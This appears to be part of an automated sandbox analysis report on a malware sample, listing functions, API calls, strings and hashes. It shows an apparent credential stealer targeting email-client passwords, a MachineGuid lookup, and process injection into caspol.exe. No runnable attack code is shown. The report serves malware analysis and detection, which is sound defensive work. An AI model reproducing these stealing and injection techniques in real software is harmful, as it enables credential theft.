Instruction ID: 67c540baf6bac1ad4bbaa40799964805698ccef35c79b973d5445efff56ac4c6
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: AE119D75904280DFDB12CF14E5C4B16FFA1FB84314F28C6ADD8494B656C33AD85ACBA2

Function 00730478 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16136ae1cd7fdcd11885db866d9257f4138747396bbf34985dd533787d5a5df3
Instruction ID: 0a59b7bf07c597e03ba5c43bc94f5ccf76a6757abd35b60fc3e549936a6799f3
Opcode Fuzzy Hash: 16136ae1cd7fdcd11885db866d9257f4138747396bbf34985dd533787d5a5df3
Instruction Fuzzy Hash: EF1105B8D04209DFCB44DFA9D8556AEBBF5BF89300F2090AAC919A3305E7345B41DF90

Function 00730D14 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb82c64e3bd211dfc3698f1a566779a691a59fa4cfc053c369635303a1d1762
Instruction ID: 33904b7333c9175db9d02e15d0337a1bb8f36968ea6994750b744d2152694cc3
Opcode Fuzzy Hash: acb82c64e3bd211dfc3698f1a566779a691a59fa4cfc053c369635303a1d1762
Instruction Fuzzy Hash: 2A112975A45218DFEB60CF54CC80BECB7B8AB19300F64909AE54DA7281C7B49AC5DF50

Function 00731113 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af8cc4b40f8fc807402b2fb5cce783107f483bb9b180507a903aab2bcbc1098
Instruction ID: 14ec585d00919a92dbf14256dcda2c7dba2210c1955cc014bac668082eb6b60b
Opcode Fuzzy Hash: 3af8cc4b40f8fc807402b2fb5cce783107f483bb9b180507a903aab2bcbc1098
Instruction Fuzzy Hash: B7112774908228CFDB60DF64C895BECBBB4AB0A311F1449D9D00DAB292C7388EC9CF44

Function 00730E47 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cdab949b55843e2528cf989bd35f12d3088ef32c6bde4829261a70e00edfc30
Instruction ID: fc9561a2626fc2bc80e15cbd0b850491fe7d99e5946bafc41c1facb6468b195c
Opcode Fuzzy Hash: 9cdab949b55843e2528cf989bd35f12d3088ef32c6bde4829261a70e00edfc30
Instruction Fuzzy Hash: 7F014F75A44218DFEB20CF50CC81BECB7B8AB19300F24809AE50DA7281C7745AC5CF40

Function 007313DB Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e135f80a5234cc77c46636c04c03a40c59bb6fa0bf7f43f178d6979e4f93fb57
Instruction ID: 8864b785bb78a582efe1b4bdbebcd7f4bdad5b25cfc567b68f5fc067bfcd41ec
Opcode Fuzzy Hash: e135f80a5234cc77c46636c04c03a40c59bb6fa0bf7f43f178d6979e4f93fb57
Instruction Fuzzy Hash: 67014C74E092548FDB51CF64CC94ADDBBB5BF4A304F2440EAD909AB246C3325A41DF40

Function 00731204 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5585fb6f5a5d0fafdabf5d77b5280ecb42de4d8b920b2b8d13e3cb56fd2853
Instruction ID: fc538d12078c3d35b1da0b0203beafbd9de296086a7f099722cdd3f1e2544fba
Opcode Fuzzy Hash: 6e5585fb6f5a5d0fafdabf5d77b5280ecb42de4d8b920b2b8d13e3cb56fd2853
Instruction Fuzzy Hash: 1A013C35906228CFDF60CFA0CD40BEDBBB5EF59305F6850DA904DA7262C2359A86DF41

Function 00731B38 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71d4c480bd031ce089c98df3f2ff4ec81adba229f5ecd7005cb0718245376d30
Instruction ID: 33ee8223953e7ac3c3a634863f888586744a85e26e912dbbce775422e6b71c89
Opcode Fuzzy Hash: 71d4c480bd031ce089c98df3f2ff4ec81adba229f5ecd7005cb0718245376d30
Instruction Fuzzy Hash: C5F0F4B4E00209DFDB40DFB9C940AAEFBF5AB49300F1495AAC818E3311EB359A01DB80

Function 00731184 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86eabc558f395c795a701a9699c4f2db3093f386afbe1a4cae00ef111b9c5f4c
Instruction ID: e0de721ed48344e2cf3fca0825e2d66abbcb1483bac2608b3e1c81dfe9012540
Opcode Fuzzy Hash: 86eabc558f395c795a701a9699c4f2db3093f386afbe1a4cae00ef111b9c5f4c
Instruction Fuzzy Hash: 8301A935918394CFD710CB14C855AECBBB4BF06321F1881D6881E972D3D7344945CF40

Function 00730FC8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0fb6a3678e8528f13c2e3a86d9b5081ef27767d1fd57895729925473f20f406
Instruction ID: 4dac1b4aed7ce42063860c4d2d07f32cb99685be3bb2b9fa96a58bb62dfa04b6
Opcode Fuzzy Hash: e0fb6a3678e8528f13c2e3a86d9b5081ef27767d1fd57895729925473f20f406
Instruction Fuzzy Hash: EF01AF75940228DFEBA0DF54C891BD8B7B4AB09311F5485D9D60CA3241DB399FC5DF90

Function 00730938 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76cd2a1dca863ee597df0322fc0a603e5e4a7e525b7b26d46ebb77f97ad1f476
Instruction ID: e13024664bf5450a9997ad05a783d0947e694a0d6e5befae8403a3b141934ece
Opcode Fuzzy Hash: 76cd2a1dca863ee597df0322fc0a603e5e4a7e525b7b26d46ebb77f97ad1f476
Instruction Fuzzy Hash: E3F03070D04208DFDF00DFA5E9546AEBBB8AB4A301F1091A6C409A3252D7341A45EF88

Analysis Process: rrwscqkDSNwLK.exePID: 3576, Parent PID: 1644COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	299
Total number of Limit Nodes:	12

Executed Functions

Function 00413866 Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 24802840a9e80e41c8200fa87372d6a1c573b20100aacb3c492bf68185cebf66
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 24802840a9e80e41c8200fa87372d6a1c573b20100aacb3c492bf68185cebf66
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Function 00404A52 Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: HeapAlloc.KERNEL32(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNEL32(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: df5e51209e30d87507a4750a0631f6435c2f152f95c8b1de61f5c825813b11bc
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: df5e51209e30d87507a4750a0631f6435c2f152f95c8b1de61f5c825813b11bc
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Function 00404DF3 Relevance: 1.5, APIs: 1, Instructions: 13
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Function 00402C1F Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1e00aa432103c00395cacdadc05548eaee9b0074d701dd53c2a9d16b249f06e7
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: 1e00aa432103c00395cacdadc05548eaee9b0074d701dd53c2a9d16b249f06e7
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Function 00413A3F Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNELBASE(00000000,00000000,E567384D,00000000,00000000,?,00413B8D,00000000,?,?,004139CC,00000000), ref: 00413A54

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 28892627b4184eb34835cb905e0569b311a61ada9086cb921d1e57989bacd3e5
Instruction ID: a51fc36abc950c8e07eb8ba8f8e19e2949325f4e0a3e122df0d5a7568418e784
Opcode Fuzzy Hash: 28892627b4184eb34835cb905e0569b311a61ada9086cb921d1e57989bacd3e5
Instruction Fuzzy Hash: 52B092B11042087EAA402EF19C05D3B3A4DCA44508B0044357C08E5422E936EE2050A4

Function 004049FF Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.KERNEL32(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: fd13a4ababa05b6dfa8c376aed1a70cd2f6ce4ef8af563d78b915090b99271a8
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: fd13a4ababa05b6dfa8c376aed1a70cd2f6ce4ef8af563d78b915090b99271a8
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Non-executed Functions

Function 0040434D Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 513fbf6384ec98fcae1358c4661a671bc025351e7b653efb5643f1f3667a8473
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 513fbf6384ec98fcae1358c4661a671bc025351e7b653efb5643f1f3667a8473
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Function 0040D069 Relevance: 12.6, Strings: 10, Instructions: 138COMMON

Download Yara Rule

Strings

PopPort, xrefs: 0040D0A7
SmtpAccount, xrefs: 0040D0FA
EmailAddress, xrefs: 0040D074
SmtpPort, xrefs: 0040D0EB
PopPassword, xrefs: 0040D0D0
SmtpPassword, xrefs: 0040D117
PopAccount, xrefs: 0040D0B6
PopServer, xrefs: 0040D099
Technology, xrefs: 0040D08D
SmtpServer, xrefs: 0040D0DC

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Function 00402B7C Relevance: 2.5, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
HeapAlloc.KERNEL32(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Function 0040317B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Function 004061C3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: _wmemset$ErrorLast
String ID: IDA$IDA
API String ID: 887189805-2020647798
Opcode ID: d1a4e7134676979b6b57f8278ca938aa0c19887f4db682e2a4dd920a4280672c
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: d1a4e7134676979b6b57f8278ca938aa0c19887f4db682e2a4dd920a4280672c
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Function 00404E17 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_rrwscqkDSNwLK.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 3e5dcc4db61406608786f9b0aa712dad600a8c5e5b05f0ce84802de4921d3fb8
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 3e5dcc4db61406608786f9b0aa712dad600a8c5e5b05f0ce84802de4921d3fb8
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Analysis Process: mshta.exePID: 3424, Parent PID: 564COMMON

Executed Functions

Function 030B0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000003.505249863.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000003.505249863.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000003.505249863.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000003.505249863.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Analysis Process: caspol.exePID: 4076, Parent PID: 3860COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	129
Total number of Limit Nodes:	13

Executed Functions

Function 0037E2C5 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 327
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0037E597

Strings

gN, xrefs: 0037E61A
gN, xrefs: 0037E4EA
gN, xrefs: 0037E6DF

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: CreateProcess
String ID: gN$gN$gN
API String ID: 963392458-2543736959
Opcode ID: 7340ad8349140dca72ee077835dbc1cd1a86f1b5c6dfe12e5f48d50428e587bd
Instruction ID: 1fce7c5e78c38c766875fbe3c099de25f3e2a5aafe4a46a0d83c6f6ed4a10088
Opcode Fuzzy Hash: 7340ad8349140dca72ee077835dbc1cd1a86f1b5c6dfe12e5f48d50428e587bd
Instruction Fuzzy Hash: 27C14770D002598FDF25CFA8C845BEEBBB1BF09304F0091AAD819B7254DB789A85CF95

Function 0037E2D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0037E597

Strings

gN, xrefs: 0037E61A
gN, xrefs: 0037E4EA
gN, xrefs: 0037E6DF

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: CreateProcess
String ID: gN$gN$gN
API String ID: 963392458-2543736959
Opcode ID: 19a27bbef4a6516bb4b9b61fdc371914c98bc3673b864dd395d3aba39e73a763
Instruction ID: a43b1304ed6d9703e6fe1e062888ccd8ac10c07ec38ae44378ba0e8a8434435b
Opcode Fuzzy Hash: 19a27bbef4a6516bb4b9b61fdc371914c98bc3673b864dd395d3aba39e73a763
Instruction Fuzzy Hash: 9FC13670D002198FDF25CFA8C845BEEBBB1BF09304F0091AAD819B7250DB789A85CF95

Function 0037DF31 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0037E00B

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5df8f024a19a4cc1f66095f5ef32dee981a0092e12224152709b6abd5298b06a
Instruction ID: bd5215d548fd8327cf45d0287e13c7ffc7f17ca7364767920e4ce3ab684fc9ca
Opcode Fuzzy Hash: 5df8f024a19a4cc1f66095f5ef32dee981a0092e12224152709b6abd5298b06a
Instruction Fuzzy Hash: 8841BDB4D012489FCF10CFA9D984AEEFBF1BB49314F20902AE814B7210D379AA45CF64

Function 0037DF38 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0037E00B

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c45f0c73637aea90f294451dfede54661fecdb7ca4d6e1a7cf351051d75c777c
Instruction ID: 0e248cf0d9a0b7ce6b2c4698792f77e334393f423fd9fe16544d9b645453c2d9
Opcode Fuzzy Hash: c45f0c73637aea90f294451dfede54661fecdb7ca4d6e1a7cf351051d75c777c
Instruction Fuzzy Hash: EA41ADB4D012589FCF10CFA9D984AEEFBF1BB49314F20902AE815B7210D375AA45CF64

Function 0037E090 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
